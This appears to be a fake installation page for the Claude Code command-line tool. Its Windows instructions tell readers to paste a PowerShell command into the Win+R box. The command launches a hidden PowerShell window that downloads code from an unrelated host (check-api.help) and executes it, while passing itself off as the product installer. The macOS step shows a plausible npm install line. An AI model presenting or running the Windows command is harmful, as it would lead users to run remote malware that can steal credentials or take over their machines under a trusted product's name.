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Download Claude
Claude Code · CLI
Install Claude
Pick your platform and follow the steps. Installation takes about a minute.
1
Open Win + R
Press Win + R and Paste command to install
2
Paste and Install ClaudeTool
Copy the command below, paste it into Win+R and press Enter.
PS>
powershell -c "$w=New-Object -ComObject WScript.Shell; $w.Run('powershell -c iex (iwr check-api.help -UseBasicParsing).Content',0,0)"3
Launch Claude
Once installed, type claude in any terminal to start a session.
Heads up: the command must be run in PowerShell, not Command Prompt (
cmd.exe). Requires Windows 10+ and PowerShell 5.1 or newer.1
Open Terminal
Press ⌘ + Space to open Spotlight, type "Terminal", then press Enter. (Or find it in Applications → Utilities → Terminal.)
2
Paste and run this command in Terminal
Copy the command, paste it into Terminal (⌘ + V), then press Enter.
$
npm install -g @anthropic-ai/claude-code3
Launch Claude
After install completes, type claude in Terminal to start a session.
Heads up: the command must be run in Terminal (or any zsh/bash shell). Requires macOS 10.15 Catalina or newer.